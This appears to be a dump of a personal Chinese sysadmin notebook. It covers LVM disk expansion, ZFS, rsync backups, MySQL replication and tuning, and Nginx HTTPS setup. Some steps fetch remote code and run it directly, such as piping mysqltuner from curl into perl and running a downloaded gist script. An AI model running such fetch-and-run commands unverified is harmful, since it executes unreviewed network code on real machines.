    Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: gpt
    Disk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052
    
    Device         Start       End   Sectors  Size Type
    /dev/sda1       2048      4095      2048    1M BIOS boot
    /dev/sda2       4096   2101247   2097152    1G Linux filesystem
    /dev/sda3    2101248 104855551 102754304   49G Linux filesystem
    /dev/sda4  104855552 419430366 314574815  150G Linux filesystem
    
    
    Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    root@docker:/d# pvcreate /dev/sda
    sda   sda1  sda2  sda3  sda4
    root@docker:/d# pvcreate /dev/sda4
      Physical volume "/dev/sda4" successfully created.
    root@docker:/d# vgdisplay
      --- Volume group ---
      VG Name               ubuntu-vg
      System ID
      Format                lvm2
      Metadata Areas        1
      Metadata Sequence No  3
      VG Access             read/write
      VG Status             resizable
      MAX LV                0
      Cur LV                1
      Open LV               1
      Max PV                0
      Cur PV                1
      Act PV                1
      VG Size               <49.00 GiB
      PE Size               4.00 MiB
      Total PE              12543
      Alloc PE / Size       12543 / <49.00 GiB
      Free  PE / Size       0 / 0
      VG UUID               FJI08W-C0Db-dXmu-WPyq-Zlr9-Lejq-xadlCk
    
    root@docker:/d# vgextend ubuntu-vg /dev/sda4
      Volume group "ubuntu-vg" successfully extended
    root@docker:/d# pvscan
      PV /dev/sda3   VG ubuntu-vg       lvm2 [<49.00 GiB / 0    free]
      PV /dev/sda4   VG ubuntu-vg       lvm2 [<150.00 GiB / <150.00 GiB free]
      Total: 2 [198.99 GiB] / in use: 2 [198.99 GiB] / in no VG: 0 [0   ]
    root@docker:/d# lvextend /dev/ubuntu-vg/ubuntu-lv /dev/sda4
      Size of logical volume ubuntu-vg/ubuntu-lv changed from <49.00 GiB (12543 extents) to 198.99 GiB (50942 extents).
      Logical volume ubuntu-vg/ubuntu-lv successfully resized.
    root@docker:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv
    resize2fs 1.44.1 (24-Mar-2018)
    Filesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required
    old_desc_blocks = 7, new_desc_blocks = 25
    The filesystem on /dev/ubuntu-vg/ubuntu-lv is now 52164608 (4k) blocks long.
    

    resize2fs可以加上-p选项显示进度

    VMWare新添加一块硬盘扩容根目录

    @TAG 虚拟机

    参考这两篇:

    https://www.cyberciti.biz/tips/vmware-add-a-new-hard-disk-without-rebooting-guest.html

    https://www.unixmen.com/add-a-new-disk-to-lvm/

    root@docker3:/d# for i in /sys/class/scsi_host/*; do echo "- - -" > ${i}/scan; done
    root@docker3:/d# fdisk -l
    Disk /dev/sdb: 1 TiB, 1099511627776 bytes, 2147483648 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    
    root@docker3:/d# fdisk /dev/sdb
    
    Welcome to fdisk (util-linux 2.31.1).
    Changes will remain in memory only, until you decide to write them.
    Be careful before using the write command.
    
    Device does not contain a recognized partition table.
    Created a new DOS disklabel with disk identifier 0x3289a390.
    
    Command (m for help): n
    Partition type
       p   primary (0 primary, 0 extended, 4 free)
       e   extended (container for logical partitions)
    Select (default p):
    
    Using default response p.
    Partition number (1-4, default 1):
    First sector (2048-2147483647, default 2048):
    Last sector, +sectors or +size{K,M,G,T,P} (2048-2147483647, default 2147483647):
    
    Created a new partition 1 of type 'Linux' and of size 1024 GiB.
    
    Command (m for help): t
    Selected partition 1
    Hex code (type L to list all codes): 8e
    Changed type of partition 'Linux' to 'Linux LVM'.
    
    Command (m for help): w
    The partition table has been altered.
    Calling ioctl() to re-read partition table.
    Syncing disks.
    
    root@docker3:/d# pvcreate /dev/sdb1
      Physical volume "/dev/sdb1" successfully created.
    root@docker3:/d# vgextend ubuntu-vg /dev/sdb1
      Volume group "ubuntu-vg" successfully extended
    root@docker3:/d# pvscan
      PV /dev/sda3   VG ubuntu-vg       lvm2 [<199.00 GiB / 0    free]
      PV /dev/sdb1   VG ubuntu-vg       lvm2 [<1024.00 GiB / <1024.00 GiB free]
      Total: 2 [1.19 TiB] / in use: 2 [1.19 TiB] / in no VG: 0 [0   ]
    root@docker3:/d# lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
      Size of logical volume ubuntu-vg/ubuntu-lv changed from <199.00 GiB (50943 extents) to 1.19 TiB (313086 extents).
      Logical volume ubuntu-vg/ubuntu-lv successfully resized.
    root@docker3:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv
    resize2fs 1.44.1 (24-Mar-2018)
    Filesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required
    old_desc_blocks = 25, new_desc_blocks = 153
    The filesystem on /dev/ubuntu-vg/ubuntu-lv is now 320600064 (4k) blocks long.
    
    root@docker3:/d# df -h
    /dev/mapper/ubuntu--vg-ubuntu--lv  1.2T  170G  986G  15% /
    

    挂载多个vmdk中的LVM分区

    @TAG 虚拟机 离线操作

    参考: https://superuser.com/questions/1376690/how-to-mount-an-lvm-volume-from-a-dd-raw-vmdk-image

    试过用windows的7z直接打开压缩包,只能看到LVM或者多个img文件,不能跳过解压步骤,所以还是在linux上挂载吧

    假设有三个vmdk文件需要挂载,得到的lvm是/dev/ubuntu-vg/ubuntu-lv,只读挂载到/mnt

    需要apt install -y kpartx

    挂载 mount.sh:

    #!/bin/bash
    kpartx -a -v disk1.vmdk
    kpartx -a -v disk2.vmdk
    kpartx -a -v disk3.vmdk
    sleep 2
    pvscan
    mount  -o ro /dev/ubuntu-vg/ubuntu-lv /mnt
    

    取消挂载 umount.sh:

    #!/bin/bash
    umount /mnt
    lvchange -an /dev/ubuntu-vg/ubuntu-lv
    vgchange -an /dev/ubuntu-vg
    kpartx -d disk1.vmdk
    kpartx -d disk2.vmdk
    kpartx -d disk3.vmdk
    

    启用rc.local

    参考 https://www.linuxbabe.com/linux-server/how-to-enable-etcrc-local-with-systemd

    确认有没有启用rc.local: systemctl status rc-local.service如果有绿色的Active: active (exited)出现就是已经启用

    nano /etc/systemd/system/rc-local.service
    printf '%s\n' '#!/bin/bash' 'exit 0' | sudo tee -a /etc/rc.local
    chmod +x /etc/rc.local
    systemctl enable rc-local
    
    [Unit]
     Description=/etc/rc.local Compatibility
     ConditionPathExists=/etc/rc.local
    
    [Service]
     Type=forking
     ExecStart=/etc/rc.local start
     TimeoutSec=0
     StandardOutput=tty
     RemainAfterExit=yes
     SysVStartPriority=99
    
    [Install]
     WantedBy=multi-user.target
    

    apt禁用Translation

    apt update的时候发现一堆翻译的条目,不想看到这些

    创建/etc/apt/apt.conf.d/99translations

    Acquire::Languages "none";
    

    开机自启动wireguard

    systemctl enable wg-quick@wg0.service
    systemctl daemon-reload
    service wg-quick@wg0 start
    service wg-quick@wg0 status
    

    修复失败的do-release-upgrade

    参考: https://www.kingsware.de/2019/01/05/repair-a-damaged-package-system-after-ubuntu-dist-upgrade/

    可能的原因是使用了ppa源,而新的发行版里这些软件包已经进入官方源造成冲突

    apt update
    apt upgrade
    apt dist-upgrade
    apt install -f
    dpkg --configure -a
    apt autoremove
    

    如果你需要禁用ppa源,你可以直接去删除/etc/apt/sources.list.d的文件,或者:

    add-apt-repository --remove ppa:PPA_REPOSITORY_NAME/PPA-NAME
    

    解决wireguard 内核模块编译失败

    报错信息 error: ‘const struct ipv6_stub’ has no member named ‘ipv6_dst_lookup_flow’

    查到这些链接: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=959157

    官方已经给出了patch: https://git.zx2c4.com/wireguard-linux-compat/commit/?id=4602590adee92557847e61c8cd14445d35fbfa2e

    但是我已经从最新git下载,这个patch是已经打了的,还是同样的报错

    看patch发现这个改动就是在判断内核版本,如果符合特定版本就引入ipv6_dst_lookup_flow的#define语句

    但估计这个版本判断是不完备的,正好漏掉了当前的内核版本,所以解决方案很简单:强行把这个define加入即可

    git clone https://git.zx2c4.com/wireguard-linux-compat
    cd wireguard-linux-compat/src
    echo "#define ipv6_dst_lookup_flow(a, b, c, d) ipv6_dst_lookup(a, b, &dst, c) + (void *)0 ?: dst" >> compat/compat.h
    make
    make install
    

    LUKS

    教程: https://www.cyberciti.biz/security/howto-linux-hard-disk-encryption-with-luks-cryptsetup-command/

    验证密钥是否正确

    cryptsetup luksDump 设备
    cryptsetup luksOpen --test-passphrase --key-slot 0 设备 && echo ok
    cryptsetup luksOpen --test-passphrase --key-file 密钥文件 --key-slot 1 设备 && echo ok
    

    ntp的替代 使用http更新时间

    在ntp服务器访问不了的时候,我们也可以使用http协议的Date字段来获取时间

    参考: https://superuser.com/questions/307158/how-to-use-ntpdate-behind-a-proxy

    #!/bin/bash
    date -s "$(curl -i  "http://www.google.com/" 2>/dev/null | grep -E '^[[:space:]]*[dD]ate:' | sed 's/^[[:space:]]*[dD]ate:[[:space:]]*//' | head -1l | awk '{print $1, $3, $2,  $5 ,"GMT", $4 }' | sed 's/,//')"
    

    使用rsync备份全盘

    参考:

    • 主要参数来自 https://github.com/laurent22/rsync-time-backup
    • https://ostechnix.com/backup-entire-linux-system-using-rsync/
    • 不要跨过mount边界用-xx https://superuser.com/questions/626141/rsync-recursive-on-same-mount-only
    • 显示进度用--info=progress2 https://www.cyberciti.biz/faq/show-progress-during-file-transfer/
    rsync --info=progress2 -D --numeric-ids --links --hard-links --itemize-changes --times --recursive --perms --owner --group --stats --human-readable -xx / /target/
    

    小文件太多不建议使用rsync-time-backup,会产生大量的硬链接,占据大量btrfs metadata空间

    备份过程中显示的理解: https://unix.stackexchange.com/questions/215271/understanding-the-output-of-info-progress2-from-rsync

    • xfr#495 表示当前正在传输第495个文件
    • ir-chk=1020/3825 已经知道有3825个文件,其中1020个需要检查目标位置的文件是否一致

    让特定进程走指定网卡

    想做到类似curl ip.sb –interface tun1的效果

    如果是有动态链接libc可以用proxychains(golang就不能用)

    简单程序也许能用基于ptrace的graftcp(wsl不能用,复杂程序也不能用)

    找到了cgroup的方案,确实有效但仍然wsl不能用:

    参考 https://serverfault.com/questions/669430/how-to-bypass-openvpn-per-application

    底层用的cgroup创建个独立的网络命名空间,修改route默认路由,让进程去这个空间里面执行

    需要修改里面的real_interfacereal_interface_gateway

    函数test_routing也可以直接return,不需要检查

    wget https://gist.githubusercontent.com/kriswebdev/a8d291936fe4299fb17d3744497b1170/raw/novpn.sh
    chmod +x novpn.sh
    #记得修改代码
    ./novpn.sh curl ip.sb
    

    配置高性能zfs

    参考: - https://wiki.lustre.org/Optimizing_Performance_of_SSDs_and_Advanced_Format_Drives - https://github.com/allada/bsc-archive-snapshot - https://itnext.io/how-i-replaced-lvm-with-zfs-filesystem-for-my-home-nas-server-7165f620e07f - https://wiki.ubuntu.com/Kernel/Reference/ZFS

    add-apt-repository ppa:jonathonf/zfs
    apt install -y zfsutils-linux zfs-dkms
    zpool create -o ashift=12 tank /dev/sda
    zfs set recordsize=32K tank
    zfs set sync=disabled tank
    zfs set redundant_metadata=most tank
    zfs set atime=off tank
    zfs set logbias=throughput tank
    zfs set compression=on tank
    
    zfs create tank/project1
    

    zfs快照与恢复

    zfs snapshot -r tank/projects@snap1
    zfs list -t snapshot
    zfs rollback mypool/projects@snap1
    

    clone可以实现直接复制CoW, 需要先快照:

    zfs snapshot -r tank/projects@snap1
    zfs clone tank/projects@snap1 tank/projects-clone
    

    如果硬盘挂了用zpool scrub tank

    硬盘测试

    smart自检:

    smartctl -t short /dev/sda
    #wait 2 minutes
    smartctl -l selftest /dev/sda
    

    读写性能:

    hdparam -Tt /dev/sda
    
    apt install -y fio
    fio --randrepeat=1 --ioengine=libaio --direct=1 --gtod_reduce=1 --name=fiotest --filename=testfio --bs=4k --iodepth=64 --size=8G --readwrite=randrw --rwmixread=75 && rm testfio
    

    验证/etc/fstab正确性

    参考 https://serverfault.com/questions/174181/how-do-you-validate-fstab-without-rebooting

    mount -fav
    findmnt --verify --verbose
    
    ================================================ FILE: docs/Misson/index.html ================================================ 说明 - notebook

    说明

    这个文件是我的Idea们,挖个坑待填

    有兴趣和我一起干或告知现有的技术,欢迎提issue或发送邮件:github@qiushi.ac.cn


    图床可用性监测+特性测试数据?

    现在我们已经有很多图床服务,但似乎并没有可用性监测数据,直接使用之前还需要自行测试是否有防盗链等特性,有没有这样一个图床测试服务来提供这些数据呢?

    例如这些图床上传代码:

    https://www.npmjs.com/package/upimg/v/0.1.8 https://github.com/aimerforreimu/auxpi/tree/dev/server

    每天测一次上传服务可用性,每小时测一次 cdn 下载可靠性

    特性指标:

    可靠性:会不会 404、服务器跑路(如熊猫直播、360 云盘)、是否友好(引用自 npm upimg 包 0.1.8:由于某公司方面施压,upimg 将不维护以上列表外服务的可用性)

    易用性:特定语言下是否已经有开源代码实现上传功能 (例如腾讯云 cos 前端上传就没有后端语言的实现)

    前端可用:可否在其他网站上传,是否防盗链,是否可以跨域读取内容,访问频率限制,直接打开 url 是否强制下载

    后端可用:维护登录 cookie 是否容易(登录验证码),请求频率限制

    不止于图片:是否压缩图片,是否可以上传非图片二进制,单个文件最大大小

    安全:是否支持删除,传输 https,访问 https

    misc:生成 url 长度,是否限制国外访问,cdn 节点广度,是否被墙


    Deny404

    360极速浏览器曾经有的网页快照功能,能不能用Chrome扩展实现

    要求在不引用任何外部资源的情况下展示出和原网页基本相同的效果

    生成文件尽量少,能push到github

    另外也需要全文检索

    入手:考虑复制网页文本+cutycapt保存图片

    目前的实现:印象笔记/Evernote的剪藏插件,然后用api导出 参见evernote2ipfs


    EasyCrawler

    给出两三个网页url,自动diff分析网页内容所在的tag,得出从url→内容的算法

    甚至给出网站域名直接爬取全站并提取内容到数据库以便压缩存储

    入手:也许需要了解lxml


    WAF

    开源的WAF?


    文件整理

    有了Everything找文件方便了一点

    windows下有没有对文件进行标记关键词、机密等级的explorer的扩展呢。。。

    机密文件要自动加密,需要google authenticator两步验证解密

    重要文件需要自动异地备份,并提醒使用移动硬盘离线备份+插入硬盘后自动备份需要备份的东西

    有没有Explorer右键扩展对文件进行标记tag的工具?

    标记为重要的文件自动采用多种存储方案进行备份+版本控制,支持自己外接硬盘(提醒)、上传到包括但不限于:

    • 不可靠:自己的硬盘、百度网盘
    • 免费的云盘服务:天翼云盘、坚果云、亿方云、奶牛快传、浙大云盘
    • 自建的云上存储:自己服务器(Seafile)、Google Drive、OneDrive
    • 商业化的对象存储:阿里OSS、腾讯云COS、又拍云、七牛、AWS S3、百度云
    • 也能存但不适合:邮件附件、Github、印象笔记

    备份的同时要支持文件加密存储

    标记为工作文件要支持手机端访问

    用户只要鼠标右键点一点,后台自动处理加密、传输的问题,并考虑单一服务不再可用的风险

    嗯。。。既要经济又要可靠似乎很麻烦23333?


    一站式获取所有我应该知道的信息

    也许就是如何推送到日历吧。。。win10有没有可编程的桌面小部件呢。。。

    有没有一个屏幕直接显示我所管理的所有服务器的状态的程序呢。。。

    也需要爬虫爬一下院网

    重要的提醒发个邮件通知自己


    基于浙大云盘做出上传分享API[Finished]

    本idea已经实现:https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/fangcloud

    每个人2T的存储空间怎么能错过。。。

    不过亿方云还没有给浙大云盘搞客户端,上传有点烦

    研究一下如何从team.zju.edu.cn开始登录上传分享下载一条龙的API实现


    upyun https 证书更新[Finished]

    自动化更新证书 避免手动复制粘贴

    https://github.com/zjuchenyuan/EasyLogin/blob/master/examples/upyun/upyun.py


    ================================================ FILE: docs/MySQL/index.html ================================================ MySQL - notebook

    MySQL

    查看表结构

    desc 表名称;

    查看建表sql语句

    show create table 表名称;
    

    MERGE存储引擎

    官方文档:http://dev.mysql.com/doc/refman/5.7/en/merge-storage-engine.html

    查看能用的引擎:show engines

    创建一个MERGE表:

    假设有a,b表,他们的结构完全相同,然后就可以建立一个c表,注意这个表的定义要与a和b表完全一致

    drop table if exists data;
    CREATE TABLE c (
       `id` int(11) NOT NULL,
      `data` longtext NOT NULL,
      PRIMARY KEY (`id`)
    ) ENGINE= MRG_MYISAM ,UNION=(a,b);
    

    特点:

    这种表不会创建额外的索引,但查询起来比视图速度更快;

    不能在这种表上建立全文索引


    删除表的冗余

    两行只有一列(这里假设为 gettime )不同,删除其中一行

    delete t1 from t as t1, t as t2 where
        t1.id = t2.id and
        t1.其他列=t2.其他列 and
        t1.gettime>t2.gettime;
    

    修改表 alter table

    ALTER IGNORE TABLE `表名称`
    MODIFY COLUMN `id`  int(11) NOT NULL FIRST,
    MODIFY COLUMN `user` varchar(66) NOT NULL AFTER `id`,
    MODIFY COLUMN `content` longtext NOT NULL AFTER `user`,
    DROP PRIMARY KEY,
    ADD PRIMARY KEY (`id`),
    DROP INDEX `a1`,
    ADD INDEX `a1` (`user`);
    

    将中文转为拼音 函数

    代码在code/pinyin.sql


    从路径URL获取文件名称

    来源 http://stackoverflow.com/questions/17090237/extracting-filenames-from-a-path-mysql

    使用SUBSTRING_INDEX函数,假设url此行的内容为”http://example.com/some/path/to/filename.zip”

    select SUBSTRING_INDEX(url, '/', -1) as filename;
    

    即可得到一列filename,此行数据为”filename.zip”


    查询优化

    explain发现出现了using filesort

    参考 http://www.ccvita.com/169.html

    如果使用了order by或者group by,需要建索引以优化这个查询

    group by用了两个列,两列要合在一起创建索引

    内存表索引的选择

    参考 https://dev.mysql.com/doc/refman/5.5/en/optimizing-memory-tables.html

    内存表的索引应该选择BTREE


    内存表The table is full

    修改MySQL的配置文件/etc/mysql/my.cnf,在[mysqld]下添加/修改两行(下面的值仅供参考,请根据实际情况酌情处理):

    tmp_table_size = 256M // 临时表大小 
    max_heap_table_size = 256M // 内存表大小 
    

    replace函数替换文本

    update `content` set value=replace(value,"original content","replaced content");
    

    注意replace不要反引号


    简单的split功能,文本转数字

    表的设计违背了一列只存放一种数据的原则,搞出了这样一个Text类型的列(假设为info),格式为”用户名: 数值”

    现在需要将数值从这一列中提取出来,并转为int类型

    convert (
        substr(
            `info`,
            locate(':', `info`) + 2
        ),
        unsigned integer
    )
    

    Google关键词:mysql split string,mysql string to int

    参考:

    https://stackoverflow.com/questions/14950466/how-to-split-the-name-string-in-mysql

    https://stackoverflow.com/questions/5960620/convert-text-into-number-in-mysql-query


    mysqld配置参数调优

    参考:https://www.linode.com/docs/databases/mysql/how-to-optimize-mysql-performance-using-mysqltuner

    使用MySQLTuner这个工具得到一些建议:

    curl -L http://mysqltuner.pl/ | perl
    

    对于其最后给出的参数建议照做即可。

    key_buffer参数是最关键的参数,决定了mysql占用的内存大小


    支持emoji,从utf8升级到utf8mb4

    为了让mysql存储emoji表情,需要进行表的变更操作 以及 连接代码的修改

    参考https://stackoverflow.com/questions/26532722/how-to-encode-utf8mb4-in-python

    表的变更 表的每一个CHARVARCHARTEXT类型的列都要改为使用utf8mb4

    举个例子,表名称{tablename},修改其user列和content列,以及表的默认字符集:

    ALTER TABLE `{tablename}`
    MODIFY COLUMN `user`  varchar(66) CHARACTER SET utf8mb4 NOT NULL AFTER `edittime`,
    MODIFY COLUMN `content`  longtext CHARACTER SET utf8mb4 NOT NULL AFTER `user`,
    DEFAULT CHARACTER SET=utf8mb4;
    

    连接代码的改动

    在执行 insert 的 sql语句之前,先执行这三条sql:

    SET NAMES utf8mb4;
    SET CHARACTER SET utf8mb4; 
    SET character_set_connection=utf8mb4;
    

    解决 Too many open files 错误

    参考:https://duntuk.com/how-raise-ulimit-open-files-and-mysql-openfileslimit

    https://stackoverflow.com/questions/22495124/cannot-set-limit-of-mysql-open-files-limit-from-1024-to-65535/35515570

    系统环境: ubuntu16.04,用apt install mysql-server安装的mysql

    这个问题的原因是mysql默认的open_files_limit是1024,在mysql打开1024个文件后就无法再打开新文件,需要修改这个limit,如改为1024000

    修改/etc/mysql/mysql.conf.d/mysqld.cnf,在[mysqld_safe]和[mysqld]都加入一行:

    open_files_limit = 1024000
    

    /etc/security/limits.conf中加入:

    * soft nofile 1024000
    * hard nofile 1024000
    * soft nproc 10240
    * hard nproc 10240
    

    上述还不够,由于mysql服务被systemd管理,还要修改/lib/systemd/system/mysql.service,在最后加入

    LimitNOFILE = infinity
    LimitMEMLOCK = infinity
    

    在ubuntu16.04上,这些还不够,还要继续改systemd: (参考:https://serverfault.com/questions/791729/ubuntu-16-04-server-mysql-open-file-limit-wont-go-higher-than-65536)

    mkdir /etc/systemd/system/mysql.service.d
    tee /etc/systemd/system/mysql.service.d/override.conf <<-'EOF'
    [Service]
    LimitNOFILE=1024000
    EOF
    

    然后重启mysql:

    systemctl daemon-reload
    systemctl restart mysql.service
    

    使用这两种方法都能看到修改是否生效:

    ps aux|grep mysqld #找到mysqld的进程ID
    cat /proc/上述找到的进程ID/limits | grep files
    
    mysql -u root -p
    show global variables like "%open_files_limit%";
    

    解决ubuntu16.04上mysql被apt upgrade自动关闭的问题

    问题现象: mysql服务自动退出,查日志jounralctl -xe|tac|less发现是apt upgrade引起的自动退出

    发现这是一个ubuntu16.04的特性,每天凌晨6点会自动apt upgrade安全更新,但不明原因这个更新失败了,apt关掉了mysql服务后由于异常退出并没有重新把mysql服务启动

    如果你想关掉自动更新(不建议):修改/etc/apt/apt.conf.d/20auto-upgrades,改为APT::Periodic::Unattended-Upgrade "0";

    执行apt upgrade或者apt-get install -f看看,能重现问题(mysql被关掉了),也发现了报错信息:

    mysql_upgrade: Got error: 2002: Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) while connecting to the MySQL server
      Upgrade process encountered error and will not continue.
    

    然后就查这个报错,发现了这个:https://github.com/chef-cookbooks/mysql/issues/466

    人家的解决方案是:systemctl enable mysql,然而我执行又遇到了systemd的报错:Failed to execute operation: Invalid argument

    最终解决方案就是先disable一下

    systemctl disable mysql
    systemctl enable mysql
    apt-get install -f
    

    NULL转0

    用函数IFNULL,写法就是IFNULL(列名, 0)

    举个例子

    select sum(IFNULL(score, 0)) from runs;
    

    给MySQL增加一个slave做主从复制

    master启用binlog配置server-id;master用mysqldump导出数据库;slave导入,开始slave

    master创建用户

    GRANT REPLICATION SLAVE ON *.* TO 'slave_user'@'%' IDENTIFIED BY 'password';
    FLUSH PRIVILEGES;
    

    master启用binlog

    /etc/mysql/conf.d/master.cnf

    [mysqld]
    server-id=1
    log-bin=mysql-bin.log
    innodb_flush_log_at_trx_commit=1
    sync_binlog=1
    

    搬运数据库

    由于binlog是在已经有数据之后才开启的,而mysql不会自己执行全量同步,就只能靠手工搬运sql文件咯

    跨地域复制网速是限制因素,就用7z压缩了

    mysqldump -h 127.0.0.1 -P 3306 -u root -p --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data | 7z a -si dbdump.sql.7z
    7z x -so dbdump.sql.7z | mysql -h 127.0.0.1 -u root -p
    

    你也可以使用ssh和管道操作,就不用创建文件了:

    ssh master_server "mysqldump -h 127.0.0.1 -P 3306 -u root -ppassword --opt --single-transaction --comments --hex-blob --dump-date --no-autocommit --all-databases --master-data |gzip" | zcat | mysql -h 127.0.0.1 -u root -ppassword
    

    其中--master-data很重要,导出的时候就自动带上了master的信息,无需再手工记录

    CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.000002', MASTER_LOG_POS=15410;

    配置slave

    实际使用中很容易遇到duplicate key的问题,导致slave线程停住,配置直接忽略这个错误 参考

    server-id               = 2
    relay-log               = mysql-relay-bin.log
    log_bin                 = mysql-bin.log
    slave-skip-errors = 1062
    
    CHANGE MASTER TO MASTER_HOST='12.34.56.789',MASTER_USER='slave_user', MASTER_PASSWORD='password';
    START SLAVE;
    SHOW SLAVE STATUS\G
    

    Docker镜像

    https://github.com/bitnami/bitnami-docker-mysql

    但这个镜像也不会帮你自动完成mysqldump,但配置一个slave还是很省心的

    注意权限配置,如果原本数据文件夹不存在,Docker创建的是root用户才能读写,导致容器直接退出,坑的地方在于没有报错信息

    mkdir -p /srv/mysql-slave/data
    chown 1001 /srv/mysql-slave/data -R
    
    docker run -it -v /srv/mysql-slave/my.cnf:/opt/bitnami/mysql/conf/my.cnf:ro -v /srv/mysql-slave/data:/bitnami/mysql/data \
         --name mysql-slave -e MYSQL_REPLICATION_MODE=slave -e MYSQL_REPLICATION_USER=slave_user -e MYSQL_REPLICATION_PASSWORD=password \
          -e MYSQL_MASTER_HOST=12.34.56.789 -e MYSQL_MASTER_PORT_NUMBER=3306 \
          -e MYSQL_MASTER_ROOT_USER=slave_user -e MYSQL_MASTER_ROOT_PASSWORD=password \
          bitnami/mysql:5.7
    

    其中MYSQL_MASTER_ROOT_USER虽然人家说要root用户,实际上代码里只是用来select 1,所以用slave_user即可,参见我提的issue

    容器启动后一般会由于master的binlog不完整执行sql失败(表不存在),需要继续操作:

    修改my.cnf在[mysqld]增加skip-grant-tables 注意复数,来保证slave可以连上进行操作

    然后执行sql语句STOP SLAVE; 再执行上述搬运数据库的操作,导入完成后START SLAVE

    使用show slave status;查看slave状态

    另外,配合autossh和ssh的端口转发可以避免将mysql端口暴露在外:

    autossh -M 0 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -L 172.17.0.1:3306:127.0.0.1:3306 user@12.34.56.789
    

    相应地,slave配置的master地址改为172.17.0.1


    为什么MySQL表必须要有主键

    Learned from: https://federico-razzoli.com/why-mysql-tables-need-a-primary-key

    InnoDB中非主键的索引是额外存储的,使用索引查询先查到主键,再用主键查数据——没有主键的查询会慢一些

    没有主键也没有隐式主键(创建表的时候指定的NOT NULL UNIQUE列)会自动使用递增的row id作为主键,但递增需要全局锁dict_sys->mutex——多个表同时插入时性能下降

    在binlog中删除操作有主键只需要记录主键,没有主键需要记录所有内容——binlog更大

    从机执行binlog中的delete操作,每次操作都需要扫描全表——性能显著下降

    集群如Galera需要等待所有节点commit才会给客户端返回成功——用户感受到很高的延迟

    ================================================ FILE: docs/Nginx/index.html ================================================ Nginx - notebook

    Nginx

    记录用到的配置,说不定你也能遇到这些特殊需求呢~

    Nginx思考题

    请以批判的眼光阅读以下链接或者自行google,回答以下问题:

    http://www.nginx.cn/591.html

    1. nginx.conf在你Linux的什么目录下?用什么命令知道的?修改配置后通过什么命令重新载入配置?

    2. nginx.conf分为几个部分?我们需要关注的是哪个?

    3. nginx.conf中怎么表示注释行?是否留意到include的行载入了额外的配置文件?

    4. 如何增加一个虚拟主机,根据域名来区分访问不同的网站?访问者直接访问IP或者错误的域名会匹配到默认网站,怎么配置默认网站?

    这些是更为进阶/发散的问题:

    1. 静态内容:root与alias有何区别?访问403了怎么办?

    2. 动态内容/反向代理:如何做负载均衡、文本替换?

    3. 全站https和HTTP/2.0怎么配置?

    4. Nginx是否有必要作为一个Docker容器运行?CentOS下Nginx镜像很大,怎么减小镜像大小

    5. Nginx的worker进程一般不是root权限的,那是怎么监听到80端口的?

    6. Nginx在处理高并发的时候参数如何调优?

    7. 如何在Nginx层面拦截sql注入、密码爆破等安全风险?VeryNginx

    普通资源允许POST

    error_page 405 =200 @405;
    

    不带后缀的文件当成php执行

    这里的思路是用反向代理的方式简单实现

    location /path/something {
        proxy_pass http://yourdomain/path/something.php;
        proxy_method GET;
    }
    

    顺带拒绝掉对php后缀的猜测:

    location = /path/something.php {
        if ($remote_addr != '服务器自身IP') {
            return 404;
        }
        include fastcgi.conf;
    }
    

    http跳转到https

    location /{
        rewrite ^ https://$host$request_uri? permanent;
    }
    

    获得Let’s encrypt免费https证书

    为简化操作,我写了一个更加方便的getcert.py

    使用方法:

    第一步:

    配置相应网站的nginx conf中的server里面,加入这个:

        location /.well-known/acme-challenge {
            alias 保存密钥的目录;
            try_files $uri =404;
        }
    

    记得运行后 nginx -s reload

    第二步,运行我的getcert.py(创建私钥并提交申请):

    pushd 上述保存密钥的目录
    wget https://raw.githubusercontent.com/zjuchenyuan/notebook/master/code/getcert.py
    ./getcert.py 文件名称 该证书包含的域名列表
    

    例如这样就能获得一张涵盖zjusec.com三个子域名的证书:./getcert.py zjusec zjusec.com,www.zjusec.com,web.zjusec.com

    具体来说,这个脚本会自动下载需要的acme_tiny.py和Let’s Encrypt的中间证书,调用openssl创建账号私钥和站点私钥,最终产生 名称.crt 名称.key

    https.jpg

    使用acme.sh获得泛域名证书

    泛域名解析需要使用DNS验证,就需要使用DNS服务的API,即使没有API只要配置一条CNAME指向一个有DNS API的域名即可

    首先获得acme.sh

    git clone https://github.com/Neilpang/acme.sh

    然后拿到cloudflare的API Key,托管b.com

    需要拿到能用于a.com和*.a.com的证书,先配置CNAME(参考:https://github.com/Neilpang/acme.sh/wiki/DNS-alias-mode)

    _acme-challenge.a.com => _acme-challenge.b.com

    执行命令咯:

    CF_Key=xxx CF_Email=xxx@example.com /root/acme.sh/acme.sh --issue --dns dns_cf -d '*.a.com' --challenge-alias b.com -d a.com --dnssleep 10 --fullchain-file /root/acom.crt --key-file /root/acom.key -f
    

    解释:前面两个是配置环境变量,使用cloudflare所以指定–dns dns_cf,然后-d … –challenge-alias … -d … 指定域名和验证用的域名,–dnssleep 10等待10秒DNS生效(默认120秒没必要),–fullchain-file和–key-file 指定生成后把证书文件和密钥文件拷贝到哪

    配置安全的https

    此处参考https://z.codes/ssl-lab-a-plus-configuration-for-nginx/

    首先从PPA安装nginx, 这样可以保证最新版

    add-apt-repository ppa:nginx/stable
    apt update
    apt install nginx
    

    创建DH随机质数:

    openssl dhparam -out /etc/ssl/dhparams.pem 2048
    

    创建/etc/nginx/https.conf:

    listen 443 ssl http2;
    add_header Strict-Transport-Security "max-age=31536000" always;
    add_header Upgrade-Insecure-Requests "1";
